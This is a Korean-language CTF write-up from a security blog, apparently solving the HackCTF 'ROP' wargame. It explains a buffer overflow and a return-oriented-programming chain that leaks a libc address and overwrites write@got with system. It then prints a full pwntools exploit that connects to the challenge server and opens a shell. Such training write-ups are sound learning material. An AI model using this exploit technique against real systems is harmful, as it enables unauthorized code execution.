ROP

2022. 4. 23. 14:48·Wargame/HackCTF

read함수에서 BOF가 터진다. 바이너리 파일 안에 system, write, read 함수가 존재하므로 이 함수들을 이용해 ROP를 진행해보자.

 

 코드를 짜기 전 알아둬야할 점을 짚어보자.

 

// read Function
ssize_t read (int fd, void *buf, size_t nbytes)

// write Function
ssize_t write (int fd, const void *buf, size_t n)

두 함수 모두 fd(디스크립터)를 이용한다. 

파일 디스크립터(fd)	설명
         0			표준 입력
         1			표준 출력
         2			표준 에러 출력
         3			open함수로 순차적으로 할당

fd값이 0이면 입력, 1이면 출력이다. 

 

 

함수의 흐름을 ROP로 제어하는데 시나리오는 다음과 같다.

1. ASLR이 걸려있기 때문에 실제 base 주소를 알아내야 하므로 write함수로 read@got 출력

2. system("/bin/sh")의 /bin/sh를 bss영역에 입력해야 하므로 read함수를 불러와 bss주소에 8byte를 입력

3. write@got --> system 함수의 주소로 교체하기 위해, 다시 read함수를 불러와 write@got 주소에 입력

 

정리 :

ROP 흐름 :
vulnerable_function에서 BOF

-> write(1, read@got, 4) // read@got 실제 주소를 구해 read_offset과 빼서 base 주소 구함

-> read(0, &bss, 8) // "/bin/sh"을 넣기 위해 read함수로 셋팅

-> read(0, write@got, 4) // system함수를 집어넣어 write@got를 system 함수로 교체

입력 값 :
-> read의 실제 주소 출력
-> "/bin/sh\x00" 을 입력
-> system 주소를 입력

 

Exploit Code

from pwn import *

context.log_level = 'debug'
#p = process('./rop')
p = remote('ctf.j0n9hyun.xyz', 3021)

e = ELF('./rop')
libc = ELF('./libc.so.6')
pppr = 0x08048509
write_plt = e.plt['write']
write_got = e.got['write']
write_offset = libc.symbols['write']

read_plt = e.plt['read']
read_got = e.got['read']
read_offset = libc.symbols['read']

bss = 0x0804a024
system_offset = libc.symbols['system']
payload = 'A' * 140

# write(1, read@got, 4)
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)

# read(0, &bss, len(binsh))
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(bss)
payload += p32(8)

# read(0, read@got, 4) 
#-> Input system_addr later to exchange read_got addr into system_addr
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(write_got)
payload += p32(4)

# I exchanged read into system function. So if I call read function, system function will be called.
# system(&bss)
payload += p32(write_plt)
payload += 'A' * 4
payload += p32(bss)

# get write_got address
p.send(payload)

# This is real read_addr
read_addr = u32(p.recv(4))

base = read_addr - read_offset
system = base + system_offset

# input "/bin/sh\x00"
p.send("/bin/sh\x00")
p.send(p32(system))
p.interactive()

 

저작자표시 비영리 변경금지 (새창열림)
'Wargame/HackCTF' 카테고리의 다른 글
  • You_are_silver
  • RTC
  • Gift
  • Look at me
Cronus
Cronus
Offensive Security Researcher
  • Cronus
    Cronus
    Striving to be the best.
    • 분류 전체보기 (251)
      • AboutMe (1)
      • Portfolio (1)
        • Things (1)
      • Bug Report (1)
      • 🚩 CTF (23)
        • Former Doc (9)
        • 2023 (9)
      • 💻 Security (5)
      • 🖌️ Theory (22)
        • WEB (9)
        • PWN (13)
      • 📄 Project (6)
        • Edu_Siri (6)
      • Dreamhack (156)
        • WEB (95)
        • PWN (41)
        • Crypto (14)
        • ETC (6)
      • Wargame (22)
        • HackCTF (22)
      • Bug Bounty (1)
        • Hacking Zone (1)
      • Tips (7)
      • Development (2)
        • Machine Learning & Deep Lea.. (1)
      • Offensive Tools (1)
  • 블로그 메뉴

    • 홈
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    cache
    Text Summarization
    Deep learning
    TFCCTF2022
    cache poisoning
    Ubuntu 기초
    TsukuCTF2022
    Crypto
    RCE
    bug report
    bug hunter
    Remote Code Execution
    python
    justCTF
    Ubuntu 기초 셋팅
    GPNCTF
    sqli
    pwntools
    ubuntu 명령어
    Machine Learning
  • 최근 댓글

  • 최근 글

Cronus
ROP
상단으로

티스토리툴바